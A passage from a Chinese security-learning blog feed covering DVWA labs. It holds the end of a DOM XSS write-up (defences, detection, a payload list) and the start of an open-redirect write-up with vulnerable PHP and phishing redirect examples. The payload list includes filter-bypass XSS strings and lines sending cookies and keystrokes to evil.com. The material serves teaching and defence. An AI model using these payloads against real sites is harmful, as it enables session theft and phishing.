function_">isValidLanguage</span>(<span class="params">lang</span>) &#123;</span><br><span class="line">    <span class="keyword">const</span> allowed = [<span class="string">&#x27;English&#x27;</span>, <span class="string">&#x27;French&#x27;</span>, <span class="string">&#x27;Spanish&#x27;</span>, <span class="string">&#x27;German&#x27;</span>];</span><br><span class="line">    <span class="keyword">return</span> allowed.<span class="title function_">includes</span>(lang);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// URL解码</span></span><br><span class="line"><span class="keyword">var</span> input = <span class="built_in">decodeURIComponent</span>(userInput);</span><br><span class="line"></span><br><span class="line"><span class="comment">// HTML编码</span></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">escapeHtml</span>(<span class="params">str</span>) &#123;</span><br><span class="line">    <span class="keyword">var</span> div = <span class="variable language_">document</span>.<span class="title function_">createElement</span>(<span class="string">&#x27;div&#x27;</span>);</span><br><span class="line">    div.<span class="property">textContent</span> = str;</span><br><span class="line">    <span class="keyword">return</span> div.<span class="property">innerHTML</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="3-使用安全的API"><a href="#3-使用安全的API" class="headerlink" title="3. 使用安全的API"></a>3. 使用安全的API</h4><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 使用textContent</span></span><br><span class="line">element.<span class="property">textContent</span> = userInput;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 使用createElement</span></span><br><span class="line"><span class="keyword">var</span> option = <span class="variable language_">document</span>.<span class="title function_">createElement</span>(<span class="string">&#x27;option&#x27;</span>);</span><br><span class="line">option.<span class="property">textContent</span> = userInput;</span><br><span class="line">select.<span class="title function_">appendChild</span>(option);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 使用setAttribute（对于数据属性）</span></span><br><span class="line">element.<span class="title function_">setAttribute</span>(<span class="string">&#x27;data-value&#x27;</span>, userInput);</span><br></pre></td></tr></table></figure><h4 id="4-实施内容安全策略（CSP）"><a href="#4-实施内容安全策略（CSP）" class="headerlink" title="4. 实施内容安全策略（CSP）"></a>4. 实施内容安全策略（CSP）</h4><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- 在HTML头部添加 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">meta</span> <span class="attr">http-equiv</span>=<span class="string">&quot;Content-Security-Policy&quot;</span></span></span><br><span class="line"><span class="tag">      <span class="attr">content</span>=<span class="string">&quot;default-src &#x27;self&#x27;; script-src &#x27;self&#x27;; object-src &#x27;none&#x27;;&quot;</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 或在HTTP响应头 --&gt;</span></span><br><span class="line">Content-Security-Policy: default-src &#x27;self&#x27;; script-src &#x27;self&#x27; &#x27;nonce-&#123;random&#125;&#x27;; object-src &#x27;none&#x27;;</span><br></pre></td></tr></table></figure><h4 id="5-使用DOMPurify库"><a href="#5-使用DOMPurify库" class="headerlink" title="5. 使用DOMPurify库"></a>5. 使用DOMPurify库</h4><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 引入DOMPurify</span></span><br><span class="line">&lt;script src=<span class="string">&quot;https://cdnjs.cloudflare.com/ajax/libs/dompurify/2.4.0/purify.min.js&quot;</span>&gt;&lt;/script&gt;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 清理HTML</span></span><br><span class="line"><span class="keyword">var</span> clean = <span class="title class_">DOMPurify</span>.<span class="title function_">sanitize</span>(dirtyHTML);</span><br><span class="line">element.<span class="property">innerHTML</span> = clean;</span><br></pre></td></tr></table></figure><h3 id="框架层面"><a href="#框架层面" class="headerlink" title="框架层面"></a>框架层面</h3><h4 id="React示例"><a href="#React示例" class="headerlink" title="React示例"></a>React示例</h4><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// React自动转义</span></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">Component</span>(<span class="params">&#123; userInput &#125;</span>) &#123;</span><br><span class="line">    <span class="comment">// 安全：自动转义</span></span><br><span class="line">    <span class="keyword">return</span> <span class="language-xml"><span class="tag">&lt;<span class="name">div</span>&gt;</span>&#123;userInput&#125;<span class="tag">&lt;/<span class="name">div</span>&gt;</span></span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 危险：dangerouslySetInnerHTML</span></span><br><span class="line">    <span class="keyword">return</span> <span class="language-xml"><span class="tag">&lt;<span class="name">div</span> <span class="attr">dangerouslySetInnerHTML</span>=<span class="string">&#123;&#123;</span> <span class="attr">__html:</span> <span class="attr">userInput</span> &#125;&#125; /&gt;</span></span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="Vue示例"><a href="#Vue示例" class="headerlink" title="Vue示例"></a>Vue示例</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">&lt;!-- 安全：自动转义 --&gt;</span><br><span class="line">&lt;div&gt;&#123;&#123; userInput &#125;&#125;&lt;/div&gt;</span><br><span class="line"></span><br><span class="line">&lt;!-- 危险：v-html --&gt;</span><br><span class="line">&lt;div v-html=&quot;userInput&quot;&gt;&lt;/div&gt;</span><br></pre></td></tr></table></figure><h4 id="Angular示例"><a href="#Angular示例" class="headerlink" title="Angular示例"></a>Angular示例</h4><figure class="highlight typescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Angular自动清理</span></span><br><span class="line"><span class="meta">@Component</span>(&#123;</span><br><span class="line">    <span class="attr">template</span>: <span class="string">&#x27;&lt;div&gt;&#123;&#123; userInput &#125;&#125;&lt;/div&gt;&#x27;</span>  <span class="comment">// 安全</span></span><br><span class="line">&#125;)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 使用DomSanitizer</span></span><br><span class="line"><span class="title function_">constructor</span>(<span class="params"><span class="keyword">private</span> sanitizer: DomSanitizer</span>) &#123;&#125;</span><br><span class="line"><span class="keyword">get</span> <span class="title function_">safeHtml</span>() &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="property">sanitizer</span>.<span class="title function_">sanitize</span>(<span class="title class_">SecurityContext</span>.<span class="property">HTML</span>, <span class="variable language_">this</span>.<span class="property">userInput</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="检测工具"><a href="#检测工具" class="headerlink" title="检测工具"></a>检测工具</h3><ol><li><p><strong>手动审计</strong></p><ul><li>搜索危险的Sinks: <code>innerHTML</code>, <code>document.write</code>, <code>eval</code></li><li>检查Sources: <code>location.hash</code>, <code>location.search</code>, <code>document.URL</code></li><li>追踪数据流: Source → Processing → Sink</li></ul></li><li><p><strong>自动化工具</strong></p><ul><li><strong>DOM Invader</strong> (Burp Suite扩展)</li><li><strong>DOM XSS Scanner</strong></li><li><strong>ESLint + security插件</strong></li></ul></li><li><p><strong>浏览器DevTools</strong></p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 在Console中测试</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="variable language_">document</span>.<span class="property">location</span>.<span class="property">hash</span>);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="variable language_">document</span>.<span class="property">URL</span>);</span><br></pre></td></tr></table></figure></li></ol><h3 id="监控层面"><a href="#监控层面" class="headerlink" title="监控层面"></a>监控层面</h3><ol><li><p><strong>CSP Report</strong></p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">meta</span> <span class="attr">http-equiv</span>=<span class="string">&quot;Content-Security-Policy&quot;</span></span></span><br><span class="line"><span class="tag">      <span class="attr">content</span>=<span class="string">&quot;default-src &#x27;self&#x27;; report-uri /csp-report&quot;</span>&gt;</span></span><br></pre></td></tr></table></figure></li><li><p><strong>日志记录</strong></p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 记录异常的输入</span></span><br><span class="line"><span class="keyword">if</span> (!<span class="title function_">isValidInput</span>(input)) &#123;</span><br><span class="line">    <span class="title function_">logSecurityEvent</span>(<span class="string">&#x27;Invalid DOM input detected&#x27;</span>, input);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></li></ol><hr><h2 id="总结对比"><a href="#总结对比" class="headerlink" title="总结对比"></a>总结对比</h2><table><thead><tr><th>特性</th><th>Low</th><th>Medium</th><th>High</th><th>Impossible</th></tr></thead><tbody><tr><td>输入验证</td><td>❌</td><td>过滤<script></td><td>白名单</td><td>严格白名单</td></tr><tr><td>输出方法</td><td>document.write</td><td>document.write</td><td>document.write</td><td>textContent</td></tr><tr><td>编码处理</td><td>❌</td><td>❌</td><td>❌</td><td>✅ decodeURIComponent</td></tr><tr><td>白名单</td><td>❌</td><td>❌</td><td>Switch-case</td><td>对象映射</td></tr><tr><td>安全Sink</td><td>❌</td><td>❌</td><td>❌</td><td>✅ createElement</td></tr><tr><td>服务器参与</td><td>❌</td><td>❌</td><td>❌</td><td>❌（纯前端）</td></tr><tr><td>攻击难度</td><td>极易</td><td>简单</td><td>难</td><td>不可能</td></tr></tbody></table><hr><h2 id="常用Payload集合"><a href="#常用Payload集合" class="headerlink" title="常用Payload集合"></a>常用Payload集合</h2><h3 id="基础Payload"><a href="#基础Payload" class="headerlink" title="基础Payload"></a>基础Payload</h3><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- &lt;script&gt;标签 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"><span class="title function_">alert</span>(<span class="string">&#x27;XSS&#x27;</span>)</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"><span class="title function_">alert</span>(<span class="variable language_">document</span>.<span class="property">cookie</span>)</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">http://evil.com/xss.js</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- &lt;img&gt;标签 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">x</span> <span class="attr">onerror</span>=<span class="string">alert(</span>&#x27;<span class="attr">XSS</span>&#x27;)&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">x</span> <span class="attr">onerror</span>=<span class="string">alert(document.cookie)</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">x</span> <span class="attr">onerror</span>=<span class="string">&quot;fetch(&#x27;http://evil.com/?c=&#x27;+document.cookie)&quot;</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- &lt;svg&gt;标签 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">svg</span> <span class="attr">onload</span>=<span class="string">alert(</span>&#x27;<span class="attr">XSS</span>&#x27;)&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">svg</span>&gt;</span><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"><span class="title function_">alert</span>(<span class="string">&#x27;XSS&#x27;</span>)</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span><span class="tag">&lt;/<span class="name">svg</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- &lt;iframe&gt;标签 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">iframe</span> <span class="attr">src</span>=<span class="string">javascript:alert(</span>&#x27;<span class="attr">XSS</span>&#x27;)&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">iframe</span> <span class="attr">src</span>=<span class="string">&quot;data:text/html,&lt;script&gt;alert(&#x27;XSS&#x27;)&lt;/script&gt;&quot;</span>&gt;</span></span><br></pre></td></tr></table></figure><h3 id="绕过过滤"><a href="#绕过过滤" class="headerlink" title="绕过过滤"></a>绕过过滤</h3><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- 大小写混淆 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">ScRiPt</span>&gt;</span><span class="language-javascript"><span class="title function_">alert</span>(<span class="string">&#x27;XSS&#x27;</span>)</span><span class="tag">&lt;/<span class="name">ScRiPt</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">IMG</span> <span class="attr">SRC</span>=<span class="string">x</span> <span class="attr">ONERROR</span>=<span class="string">alert(</span>&#x27;<span class="attr">XSS</span>&#x27;)&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 编码 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">x</span> <span class="attr">onerror</span>=<span class="string">&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">x</span> <span class="attr">onerror</span>=<span class="string">\u0061\u006c\u0065\u0072\u0074(</span>&#x27;<span class="attr">XSS</span>&#x27;)&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 空格替代 --&gt;</span></span><br><span class="line">&lt;img/src=x/onerror=alert(&#x27;XSS&#x27;)&gt;</span><br><span class="line"><span class="tag">&lt;<span class="name">img</span><span class="attr">src</span>=<span class="string">x</span><span class="attr">onerror</span>=<span class="string">alert(</span>&#x27;<span class="attr">XSS</span>&#x27;)&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 无引号 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">x</span> <span class="attr">onerror</span>=<span class="string">alert(String.fromCharCode(88,83,83))</span>&gt;</span></span><br></pre></td></tr></table></figure><h3 id="窃取数据"><a href="#窃取数据" class="headerlink" title="窃取数据"></a>窃取数据</h3><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- Cookie窃取 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"><span class="variable language_">document</span>.<span class="property">location</span>=<span class="string">&#x27;http://evil.com/?c=&#x27;</span>+<span class="variable language_">document</span>.<span class="property">cookie</span></span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">x</span> <span class="attr">onerror</span>=<span class="string">&quot;fetch(&#x27;http://evil.com/?c=&#x27;+document.cookie)&quot;</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 键盘记录 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"><span class="variable language_">document</span>.<span class="property">onkeypress</span>=<span class="function"><span class="params">e</span>=&gt;</span><span class="title function_">fetch</span>(<span class="string">&#x27;http://evil.com/?k=&#x27;</span>+e.<span class="property">key</span>)</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 表单劫持 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"><span class="variable language_">document</span>.<span class="property">forms</span>[<span class="number">0</span>].<span class="property">action</span>=<span class="string">&#x27;http://evil.com/phish&#x27;</span></span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><hr><h2 id="实战建议"><a href="#实战建议" class="headerlink" title="实战建议"></a>实战建议</h2><p><strong>学习路径：</strong></p><ol><li><strong>Low难度</strong> - 理解DOM XSS原理和数据流</li><li><strong>Medium难度</strong> - 学习绕过简单过滤</li><li><strong>High难度</strong> - 理解白名单防御</li><li><strong>Impossible难度</strong> - 掌握完善的防御机制</li></ol><p><strong>攻击技巧：</strong></p><ul><li>使用浏览器DevTools观察DOM操作</li><li>寻找Source→Sink的数据流</li><li>测试各种HTML标签和事件处理器</li><li>利用URL Fragment（#）绕过WAF</li></ul><p><strong>检测技巧：</strong></p><ul><li>搜索<code>innerHTML</code>、<code>document.write</code>、<code>eval</code></li><li>检查<code>location.hash</code>、<code>document.URL</code>的使用</li><li>使用DOM Invader工具自动检测</li><li>审计JavaScript代码的数据流</li></ul><p><strong>防御重点：</strong></p><ul><li>使用<code>textContent</code>而不是<code>innerHTML</code></li><li>实施严格的白名单验证</li><li>避免<code>eval()</code>、<code>document.write()</code></li><li>实施CSP策略</li><li>使用安全的框架（React、Vue等）</li></ul><p><strong>道德准则：</strong></p><ul><li>只在授权环境测试</li><li>不利用DOM XSS攻击真实用户</li><li>学习是为了构建安全的应用</li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;目录&quot;&gt;&lt;a href=&quot;#目录&quot; class=&quot;headerlink&quot; title=&quot;目录&quot;&gt;&lt;/a&gt;目录&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;#%E6%BC%8F%E6%B4%9E%E7%AE%80%E4%BB%8B&quot;&gt;漏洞简介&lt;/a&gt;&lt;/li&gt;
&lt;l</summary>
      
    
    
    
    <category term="dvwa靶场学习笔记" scheme="http://caixuya.github.io/categories/dvwa%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    
    
  </entry>
  
  <entry>
    <title>DVWA - Open HTTP Redirect (开放重定向) 攻防练习详解</title>
    <link href="http://caixuya.github.io/2025/11/20/Open_HTTP_Redirect_%E6%94%BB%E9%98%B2%E7%BB%83%E4%B9%A0/"/>
    <id>http://caixuya.github.io/2025/11/20/Open_HTTP_Redirect_%E6%94%BB%E9%98%B2%E7%BB%83%E4%B9%A0/</id>
    <published>2025-11-20T15:31:37.127Z</published>
    <updated>2025-11-20T15:27:11.665Z</updated>
    
    <content type="html"><![CDATA[<h2 id="目录"><a href="#目录" class="headerlink" title="目录"></a>目录</h2><ul><li><a href="#%E6%BC%8F%E6%B4%9E%E7%AE%80%E4%BB%8B">漏洞简介</a></li><li><a href="#low-%E9%9A%BE%E5%BA%A6">Low 难度</a></li><li><a href="#medium-%E9%9A%BE%E5%BA%A6">Medium 难度</a></li><li><a href="#high-%E9%9A%BE%E5%BA%A6">High 难度</a></li><li><a href="#impossible-%E9%9A%BE%E5%BA%A6">Impossible 难度</a></li><li><a href="#%E9%98%B2%E5%BE%A1%E5%BB%BA%E8%AE%AE">防御建议</a></li></ul><hr><h2 id="漏洞简介"><a href="#漏洞简介" class="headerlink" title="漏洞简介"></a>漏洞简介</h2><h3 id="什么是开放重定向（Open-Redirect）？"><a href="#什么是开放重定向（Open-Redirect）？" class="headerlink" title="什么是开放重定向（Open Redirect）？"></a>什么是开放重定向（Open Redirect）？</h3><p>开放重定向漏洞允许攻击者控制应用程序的重定向目标，将用户重定向到任意外部网站。虽然看似危害较小，但可用于钓鱼攻击和绕过安全控制。</p><p><strong>HTTP重定向机制：</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 方法1：HTTP响应头</span></span><br><span class="line"><span class="title function_ invoke__">header</span>(<span class="string">&quot;Location: https://example.com&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 方法2：HTML meta标签</span></span><br><span class="line">&lt;meta http-equiv=<span class="string">&quot;refresh&quot;</span> content=<span class="string">&quot;0;url=https://example.com&quot;</span>&gt;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 方法3：JavaScript</span></span><br><span class="line">window.location = <span class="string">&quot;https://example.com&quot;</span>;</span><br></pre></td></tr></table></figure><p><strong>攻击场景：</strong></p><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">合法使用：</span><br><span class="line">https:<span class="regexp">//</span>example.com<span class="regexp">/redirect?url=https:/</span><span class="regexp">/example.com/</span>success</span><br><span class="line">→ 重定向到同域名的成功页面</span><br><span class="line"></span><br><span class="line">恶意利用：</span><br><span class="line">https:<span class="regexp">//</span>example.com<span class="regexp">/redirect?url=https:/</span><span class="regexp">/evil.com/</span>phishing</span><br><span class="line">→ 重定向到钓鱼网站</span><br></pre></td></tr></table></figure><p><strong>危害：</strong></p><ol><li><p><strong>钓鱼攻击</strong></p><ul><li>用户信任合法域名</li><li>被重定向到伪造网站</li><li>输入凭证被窃取</li></ul></li><li><p><strong>绕过安全控制</strong></p><ul><li>绕过URL黑名单</li><li>绕过SSRF防护</li><li>绕过CSP策略</li></ul></li><li><p><strong>会话劫持</strong></p><ul><li>重定向时泄露Session ID</li><li>Referer头包含敏感信息</li></ul></li><li><p><strong>恶意软件分发</strong></p><ul><li>利用信任关系传播恶意软件</li></ul></li></ol><p><strong>利用链：</strong></p><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1</span>. 攻击者发送：https:<span class="regexp">//</span>bank.com<span class="regexp">/redirect?url=https:/</span><span class="regexp">/evil.com/</span>fake-login</span><br><span class="line"><span class="number">2</span>. 用户点击（信任bank.com域名）</span><br><span class="line"><span class="number">3</span>. 自动重定向到evil.com</span><br><span class="line"><span class="number">4</span>. 用户看到伪造的登录页面</span><br><span class="line"><span class="number">5</span>. 输入凭证 → 被窃取</span><br></pre></td></tr></table></figure><p><strong>DVWA场景：</strong><br>一个登录后的重定向功能，用于跳转到指定页面。</p><hr><h2 id="Low-难度"><a href="#Low-难度" class="headerlink" title="Low 难度"></a>Low 难度</h2><h3 id="攻击目标"><a href="#攻击目标" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>完全不验证重定向目标，可重定向到任意URL。</p><h3 id="后端代码分析"><a href="#后端代码分析" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 检查是否有重定向参数</span></span><br><span class="line"><span class="comment">// isset() - 检查变量是否存在</span></span><br><span class="line"><span class="comment">// $_GET[&#x27;redirect&#x27;] - 从URL获取重定向参数</span></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$_GET</span>[ <span class="string">&#x27;redirect&#x27;</span> ] ) ) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 危险操作：直接获取用户输入，无任何验证 ★★★</span></span><br><span class="line">    <span class="comment">// 攻击者可以指定任意URL</span></span><br><span class="line">    <span class="comment">// 例如：?redirect=https://evil.com</span></span><br><span class="line">    <span class="variable">$redirect</span> = <span class="variable">$_GET</span>[ <span class="string">&#x27;redirect&#x27;</span> ];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 危险操作：直接重定向到用户指定的URL ★★★</span></span><br><span class="line">    <span class="comment">// header() - 设置HTTP响应头</span></span><br><span class="line">    <span class="comment">// Location - 重定向到指定URL</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// 问题：</span></span><br><span class="line">    <span class="comment">// 1. 不检查URL是否是内部链接</span></span><br><span class="line">    <span class="comment">// 2. 不检查URL是否是合法域名</span></span><br><span class="line">    <span class="comment">// 3. 不验证URL格式</span></span><br><span class="line">    <span class="comment">// 4. 攻击者可以重定向到任何网站</span></span><br><span class="line">    <span class="title function_ invoke__">header</span>( <span class="string">&quot;Location: &quot;</span> . <span class="variable">$redirect</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 应该调用exit()停止脚本执行 ★★★</span></span><br><span class="line">    <span class="comment">// 但这里没有，可能导致额外问题</span></span><br><span class="line">    <span class="comment">// exit;</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p><strong>HTML表单：</strong></p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">head</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">title</span>&gt;</span>Redirect<span class="tag">&lt;/<span class="name">title</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">head</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">h1</span>&gt;</span>Redirect Example<span class="tag">&lt;/<span class="name">h1</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">&lt;!-- 合法使用：重定向到内部页面 --&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">p</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">&quot;?redirect=success.php&quot;</span>&gt;</span>Go to success page<span class="tag">&lt;/<span class="name">a</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="tag">&lt;<span class="name">p</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">&quot;?redirect=dashboard.php&quot;</span>&gt;</span>Go to dashboard<span class="tag">&lt;/<span class="name">a</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span 